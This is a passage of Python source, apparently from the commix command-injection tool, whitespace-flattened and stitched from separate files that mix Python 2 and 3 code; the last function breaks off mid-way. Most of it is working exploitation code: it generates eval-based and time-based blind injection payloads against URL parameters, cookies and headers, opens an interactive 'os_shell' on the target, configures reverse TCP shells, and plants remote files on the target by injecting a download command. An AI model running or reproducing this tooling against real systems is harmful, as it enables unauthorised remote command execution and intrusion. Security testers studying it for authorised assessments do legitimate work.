def eb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "eval-based code injection technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS url = eb_injector.warning_detection(url, http_request_method) if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) suffix = urllib.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace( ")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) payload = payload + TAG + "" # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) else: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write( "\n" + settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" eb_file_access.do_check( separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg( err_msg) else: pass else: # The main command injection exploitation. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) #if shell: if shell != "": shell = "".join( str(p) for p in shell) if settings.VERBOSITY_LEVEL >= 1: print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def injection_proccess(url, check_parameter, http_request_method, filename, delay): # User-Agent Injection / Referer Injection / Custom header Injection if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header " else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter " check_parameter = " '" + check_parameter + "'" # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header ": info_msg += " (" + http_request_method + ")" info_msg += check_parameter + header_name + the_type + "for tests." print settings.print_info_msg(info_msg) # Estimating the response time (in seconds) delay, url_time_response = requests.estimate_response_time( url, http_request_method, delay) # Check if it is vulnerable to classic command injection technique. if not menu.options.tech or "c" in menu.options.tech: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, delay, filename, http_request_method) != False: settings.CLASSIC_STATE = True else: settings.CLASSIC_STATE = False # Check if it is vulnerable to eval-based code injection technique. if not menu.options.tech or "e" in menu.options.tech: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, delay, filename, http_request_method) != False: settings.EVAL_BASED_STATE = True else: settings.EVAL_BASED_STATE = False # Check if it is vulnerable to time-based blind command injection technique. if not menu.options.tech or "t" in menu.options.tech: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False # Check if it is vulnerable to file-based semiblind command injection technique. if not menu.options.tech or "f" in menu.options.tech: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: warn_msg = "The tested" if not header_name == " cookie" and not the_type == " HTTP header ": warn_msg += " (" + http_request_method + ")" warn_msg += check_parameter + header_name + the_type warn_msg += "seems to be not injectable." print settings.print_warning_msg(warn_msg)
def check_http_traffic(request): settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) class do_connection(_http_client.HTTPConnection): def send(self, req): headers = req.decode() #http_method = headers[:4].strip() if menu.options.traffic_file: logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37) request_http_headers = str(headers).split("\r\n") unique_request_http_headers = [] [ unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers ] request_http_headers = unique_request_http_headers for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: # if http_method == "GET" and len(header) > 1 or http_method == "POST": print(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: if settings.VERBOSITY_LEVEL > 1: logs.log_traffic("\n\n" + "#" * 77 + "\n\n") else: logs.log_traffic("\n\n") _http_client.HTTPConnection.send(self, req) class connection_handler(_urllib.request.HTTPHandler, _urllib.request.HTTPSHandler): if settings.SCHEME == 'https': def https_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.INIT_TEST == True: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) else: if settings.VERBOSITY_LEVEL < 1: print("") print(settings.print_critical_msg(error_msg)) raise SystemExit() else: def http_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.INIT_TEST == True: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) else: if settings.VERBOSITY_LEVEL < 1: print("") print(settings.print_critical_msg(error_msg)) raise SystemExit() if settings.REVERSE_TCP == False and settings.BIND_TCP == False: opener = _urllib.request.build_opener(connection_handler()) response = False current_attempt = 0 unauthorized = False while not response and current_attempt <= settings.MAX_RETRIES and unauthorized is False: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request:" print(settings.print_request_msg(req_msg)) try: opener.open(request) response = True if settings.VERBOSITY_LEVEL < 2: if current_attempt != 0: info_msg = "Checking connection to the target URL. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.INIT_TEST == True and not settings.UNAUTHORIZED: print(settings.SUCCESS_STATUS) if not settings.CHECK_INTERNET: settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): if settings.VERBOSITY_LEVEL < 2 and not settings.UNAUTHORIZED: print(settings.FAIL_STATUS) settings.UNAUTHORIZED = unauthorized = True except _urllib.error.URLError as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) try: error_msg = str(err_msg.args[0]).split("] ")[1] + ". " except IndexError: error_msg = "" error_msg += "Please wait while retring the request(s)." print(settings.print_critical_msg(error_msg)) warn_msg = "In case the provided target URL is valid, try to rerun with" warn_msg += " the switch '--random-agent' and/or proxy switch." print(settings.print_warning_msg(warn_msg)) if settings.VERBOSITY_LEVEL >= 2 or current_attempt == 1: info_msg = "Please wait while retring the request(s)." print(settings.print_info_msg(info_msg)) current_attempt = current_attempt + 1 time.sleep(3) except _http_client.BadStatusLine as err_msg: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) if len(err_msg.line) > 2: print(err_msg.line, err_msg.message) raise SystemExit() except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: raise SystemExit() try: response = _urllib.request.urlopen(request) code = response.getcode() # Check the HTTP response headers. response_headers = response.info() page = response.read() try: # Fix for Python 2.7 page = page.encode(settings.DEFAULT_ENCODING) except AttributeError: pass if response_headers.get('Content-Encoding') == 'gzip': page = gzip.GzipFile("", "rb", 9, io.BytesIO(page)).read() request.add_header('Accept-Encoding', 'deflate') if len(settings.ENCODING) != 0: page = page.decode(settings.ENCODING) else: if type(page) != str: page = page.decode(settings.DEFAULT_ENCODING) response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") if settings.VERBOSITY_LEVEL > 2: print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) # Checks regarding a potential browser verification protection mechanism. checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: if settings.VERBOSITY_LEVEL > 2: print_http_response(err.info(), err.code, err.read()) error_msg = "Got " + str(err).replace(": ", " (") # Check for 4xx and/or 5xx HTTP error codes. if str(err.code).startswith('4') or \ str(err.code).startswith('5'): if settings.VERBOSITY_LEVEL > 1: if len(str(err).split(": ")[1]) == 0: error_msg = error_msg + "Non-standard HTTP status code" warn_msg = error_msg print(settings.print_warning_msg(warn_msg + ").")) pass else: error_msg = str(err).replace(": ", " (") if len(str(err).split(": ")[1]) == 0: err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # The handlers raise this exception when they run into a problem. except (socket.error, _http_client.HTTPException, _urllib.error.URLError) as err: if settings.VERBOSITY_LEVEL > 2: print_http_response(response_headers=err.info(), code=err.code, page=err.read()) err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err: print(settings.print_critical_msg(str(err))) raise SystemExit() except UnicodeDecodeError as err: print(settings.print_critical_msg(str(err))) raise SystemExit() except LookupError as err: print(settings.print_critical_msg(str(err))) raise SystemExit() # Raise exception regarding existing connection was forcibly closed by the remote host. except SocketError as err: if err.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif err.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit()
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = True if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" + str( err_msg) + ")" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "": dest_to_upload = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" print(settings.SINGLE_WHITESPACE) check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The '" + shell + Style.RESET_ALL info_msg += Style.BRIGHT + "' file was uploaded successfully!" sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) whitespace = checks.check_whitespaces() # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set( how_long_statistic[0:5])) == 1: if max(xrange( len(how_long_statistic)), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write( settings. print_question_msg( question_msg)) proceed_option = sys.stdin.readline( ).replace("\n", "").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " + " + str( randv2) + "" # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state 